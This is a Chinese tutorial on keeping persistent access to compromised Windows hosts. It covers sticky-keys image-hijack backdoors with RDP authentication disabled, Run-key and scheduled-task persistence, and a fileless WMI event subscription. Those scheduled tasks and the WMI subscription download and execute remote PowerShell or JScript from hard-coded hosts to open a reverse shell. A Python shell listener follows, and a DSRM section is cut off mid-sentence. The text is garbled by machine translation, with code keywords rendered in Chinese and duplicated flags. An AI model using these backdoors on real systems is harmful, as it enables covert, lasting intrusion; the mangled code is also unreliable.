权限维持
1 操作系统后门
1.1 粘滞键后门
1.1.1 传统方法
Windows/System32下,直接用CMD.EXE替换SETHC程序如果目标机在Windows Vista上方,也就是说,稍后在Windows Vista上发布的系统,修改SETHC将提示需要TrustedInstaller许可。 TrustedInstaller是一种安全机制,即系统的最高权限,它比管理员管理员高。
Windows权限分为从低到高的三种类型,即用户,管理员和系统。 TrustedInstaller高于管理员,但不高于系统。这样做的优点是,它避免了某些恶意软件修改系统文件的可能性。缺点是它不能单独直接运行,因此要首先修改SETHC,您需要将其所有者更改为我们当前的管理员用户。

在所有者之前,直接编辑的权限为灰色,无法修改。拥有所有权后,您可以编辑其权限。您需要给自己权限,如下图所示:

此时,您可以重命名或直接删除它,然后复制CMD并修改SETHC。然后,当锁定屏幕上没有密码时,您可以直接按Shift来调用CMD并执行诸如添加新用户之类的操作,如下图所示:
1.1.2 新方法
通过注册表实现了设置粘性键后门的新方法。总体方法的想法是通过修改注册表的图像劫持并打开其远程桌面来实现它。1
reg添加'hklm \ software \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe' /v Debugger /t reg_sz /d reg_sz /d'C: \ Windows \ System32 \ cmd.cmd.exe'
命令说明:REG将记录添加到注册表中,然后是注册表的位置。在这里应该指出的是,HKLM实际上是HKEY_LOCAL_MACHINE的缩写。图像文件执行选项此目录用于设置图像劫持。被劫持的是命令中的SETHC粘性密钥程序,然后通过/v指定密钥名称。此关键名称调试器已固定,然后通过/t指定类型,即reg_sz字符串类型,最后是通过/d指定键值,即恶意替换的程序,即我们的CMD。
设置镜像劫持后,我们的效果是直接在旧方法中直接替换SETHC程序。但是,为了方便使用,我们可以启用目标机器的远程桌面。在这里,我们还通过注册表进行设置,我们需要设置两个参数。

1.1.2.1 关闭 RDP 用户鉴定选项
首先是将远程桌面链接的用户身份验证选项设置为OFF状态,即,值为0,并在命令行上运行以下命令:1
reg添加'HKLM \ System \ CurrentControlset \ Control \终端服务器\ winstations \ rdp-tcp' /v userauthentication /t reg_dword /d 0 0
用户身份验证是指userauthentication功能:
0指示在远程桌面之前是否不需要用户身份验证,还是默认值是1是否指示在远程桌面之前需要用户身份验证。为了更好地理解,让我们看看他们的差异。这是userauthentication是1:

当Userauthentication为1时,将在远程桌面前进行用户身份验证。此时,输入远程链接后,您将需要输入用户名和密码。如果您在不输入密码的情况下输入用户名,则将直接单击连接并提示身份验证错误。当userauthentication为0时,连接之前将不会执行身份验证。目前,如果您输入用户名而不输入密码,则该连接将直接进入远程桌面的锁定屏幕。因此,设置为0,我们可以直接进入目标的锁定屏幕,然后打开CMD。
注意:Windows Server 2012上的默认值为0
1.1.2.2 更改 RDP 安全层设置
第二是将远程桌面连接的安全层设置为0,并在命令行上运行以下命令:1
reg添加'HKLM \ System \ CurrentControlset \ Control \终端服务器\ winstations \ rdp-tcp' /v SecurityLayer /t reg_dword /d 0 0
0表示在连接之前使用RDP协议进行身份验证。 RDP是远程桌面连接,可以简单地理解为关闭验证。 1指连接两端之间的谈判以执行身份验证,这是默认值。 2是使用TLS协议。让我们看一下0和1之间的区别:

当userauthentication用户身份验证为0时,当安全层的安全层为1时,单击连接并输入用户名,然后单击“连接到目标桌面”。当安全层更改为0时,单击连接,它将直接转到用户的锁定屏幕桌面,以消除输入凭据的步骤。因此,我们将其设置为0,您可以直接跳到锁定屏幕桌面以调整CMD。
注意:Windows Server 2012上的默认值是1
1.1.3 测试结果
在测试后,当RDP连接在WIN10上断开连接时,MSF会话立即断开,并且在Windows Server 2008上取得了成功。1.2 注册表后门
运行:此项目下的关键值是启动项目地点:
1
\ hkey_current_user \ software \ Microsoft \ Windows \ CurrentVersion \ Run
MSF下的命令:
1
使用利用/Windows/local/持久性
1.3 计划任务后门
schtasks/创建创建一个新任务。
/删除删除计划的任务。
/查询显示所有计划的任务。
/更改更改计划的任务属性。
/运行按需运行计划的任务。
/终止中止当前正在运行的计划任务。
/savingID显示与计划任务名称相对应的安全标识符。
1
2
3
4
5
6
7
8
9
10
11
12
13
#schtasks命令
#03:30每晚定时执行
schtasks /create /tn'TimeDtask1' /tr C: \ Users \ thermandator \ desktop \ timeDtask \ timeDtask \ run.bat /sc daily /st 03:30
#语句
#查询创建的任务
schtasks /query /tn timedtask1 /v
#立即运行创建的任务
schtasks /run /tn timedtask1
#删除任务
schtasks /delete /tn timedtask1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#(x64) - 系统启动
schtasks /create /tn pentestlab /tr'c: \ windows \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe-exe -windowstyle -nonologo -nonInteractive -nonInteractive -ep -ep bypass -nop -nop -nop -nop -c'iex net.webclient).downloadstring(''http://10.2.2.21:8080 /zpwlywg''''')'' /sc onstart /ru System
#(x64) - 在用户空闲(30分钟)上
schtasks /create /tn pentestlab /tr'c: \ windows \ windows \ syswow64 \ windowspowershell \ v1.0 \ powershell.exe-exe -windowstyle -nonologo -nonInteractive -nonInteractive -ep -ep bypass -nop -nop -nop -nop -c'iex net.webclient).DownloadString(''http://10.2.2.21:8080 /zpwlywg'''')'' /sc onidle /i 30
#(x86) - 用户登录
schtasks /create /tn pentestlab /tr'c: \ windows \ windows \ system32 \ windowspowershell \ v1.0 \ powershell.exe -windowstyle shidend -nonologo -nonInteractive -nonInterActive -ep ep bypass -nop -nop -nop -nop -c net.webclient).downloadString(''http://10.2.2.21:8080 /zpwlywg''''')'' /sc onLogon /ru System
#(x86) - 系统启动
schtasks /create /tn pentestlab /tr'c: \ windows \ windows \ system32 \ windowspowershell \ v1.0 \ powershell.exe -windowstyle shidend -nonologo -nonInteractive -nonInterActive -ep ep bypass -nop -nop -nop -nop -c net.webclient).downloadstring(''http://10.2.2.21:8080 /zpwlywg''''')'' /sc onstart /ru System
#(x86) - 在用户空闲(30分钟)上
schtasks /create /tn pentestlab /tr'c: \ windows \ windows \ system32 \ windowspowershell \ v1.0 \ powershell.exe -windowstyle shidend -nonologo -nonInteractive -nonInterActive -ep ep bypass -nop -nop -nop -nop -c net.webclient).DownloadString(''http://10.2.2.21:8080 /zpwlywg'''')'' /sc onidle /i 30
1.4 wmi 无文件后门
Evil3.vbs-恶意VBS脚本。创建一个事件过滤器,以捕获成功登录帐户的事件;创建一个活动脚本事件消费者,并在捕获事件后执行远程脚本PNC.JS;绑定过滤器和消费者。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
nslink='winmgmts: \\。\ root \ sisscription:'
qstr='从__instancecreationevent中的5'查询“实例创建事件”中的qstr='select *每5秒'
qstr=qstr'Where TargetInstance isa'win32_ntlogevent'和'
qstr=qstr'targetInstance.eventCode='4624'''实例名称是win32_ntlogevent'
设置evtflt=getObject(nslink'__ eventfilter')。spawnInstance_'创建事件过滤器'
evtflt.name='filtp1''定义过滤器的名称'
evtflt.eventnamespace='root \ cimv2'
evtflt.query=qstr'定义查询语句'
evtflt.querylanguage='wql''定义查询语言(只能是wql)'
设置fltpath=evtflt.put_'寄存器过滤器,返回其链接'
set asec=getObject(nslink'activescripteventconsumer')。spawnInstance_'创建“ activeScript event consumer”''
asec.name='consp1''定义消费者的名称'
asec.scriptingengine='jscript''定义脚本语言
asec.scriptText='getObject(''script3:3http://192.168.41.1:8080/pnc.js'')'')
设置asecpath=asec.put_'注册消费者,返回其链接'
设置fcbnd=getObject(nslink'__ filtertoconsumerbinding')。spawnInstance_'在过滤器和消费者之间创建一个绑定'
fcbnd.filter=fltpath.path'指定过滤器'
fcbnd.consumer=asecpath.path'指定消费者'
fcbnd.put_'执行绑定'
昏暗的FSO
set fso=createObject('scripting.filesystemobject')
evilname=left(wscript.scriptfullname,instrev(wscript.scriptfullname,'\'))
evelname=evilname fso.getFile(wscript.scriptfullname).Name
fso.deletefile(evilname)'vbs删除自己
PNC.JS-服务器端恶意脚本。下载PowerCat.ps1并使用它返回外壳。
1
2
3
4
5
6
7
8
9
10
11
12
13
?XML版本='1.0'?
包裹
组件ID='testCalc'
脚本语言='jscript'
var r=new ActiveXobject('wscript.shell')。运行('PowerShell IEX(new -object System.net.webclient).downloadstring('3http://192.168.41.1:8080/powerCat -master/powercat.ps1'; cmd');
/脚本
/成分
/包裹
shell_server.py-服务器端脚本要收听shell。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
导入套接字
导入
模式=re.compile(r'[a-z] : \\。*?')
def recv_end(the_socket):
total_data=[]
数据=b''
而true:
data=the_socket.recv(1024)
#print(数据)
如果不是data:
提高ConnectionBortedError
data=str(数据,编码='gbk')
total_data.append(数据)
if tatter.search(数据,re.m):
休息
如果Len(total_data)1:
last_pair=total_data [-2] + total_data [-1]
if tatter.search(last_pair,re.m):
休息
返回''.join(total_data)
#创建服务器
服务器=socket.socket(socket.af_inet,socket.sock_stream)
端口=6999
server.bind((('192.168.41.1',端口))#bind要收听的端口
server.listen(5)#start听力意味着您可以使用五个链接排队
而true:#conn是通过将客户端链接到服务器上生成的链接实例和
打印('-------------在{}} -------------'。格式(port))上听
conn,addr=server.accept()#waiting链接,当找到多个链接时会出现问题,实际上将返回两个值
打印(conn)
而true:
TRY:
se=输入(recv_end(conn))
如果不是SE:
se='\ r \ n'
#print(bytes(se,encoding='utf8'))
conn.send(bytes(se,encoding='utf-8'))#然后发送数据
除了baseexception为E:
print('\ n' + addr [0] +':' + str(addr [1]) +'close')
休息
conn.close()#关闭连接
PowerCat.ps1 -PowerShell版本NetCat。 (https://github.com/besimorhino/powercat)
清洁。
1
2
3
4
5
6
7
8
#筛选
get -wmiObject -namespace root \ subscription -class __eventfilter -filter'name='filtp1''|删除WmiObject -Verbose
#消费者
get -wmiObject -namespace root \ subscription -class commandlineEventConsumer -filter'name='consp1''|删除WmiObject -Verbose
#binding
get -wmiobject -namespace root \ subscription -class filtertoconsumerBinding -filter' path类似'%filtp1%''|删除WmiObject -Verbose
2 域控后门
2.1 DSRM 后门
DSRM(目录服务还原模式)是Windows域环境中域控制器的安全模式启动选项。每个域控制器都有一个本地管理员帐户(即DSRM帐户)。 DSRM的目的是:目的是:管理员允许Active Directory数据库在域环境失败或崩溃时恢复,修复和重建Active Directory数据库,以便域环境正常运行。在域环境创建的早期阶段,安装DC并且很少重置DSRM的密码。修改DSRM密码的最基本方法是在DC上运行NTDSUTITITL LINE命令。在渗透测试中,您可以使用DSRM帐户来持续域环境。如果域控制器的系统版本是Windows Server 2008,则需要安装KB96132补丁以使用指定的域帐户的密码同步DSRM密码。在Windows Server上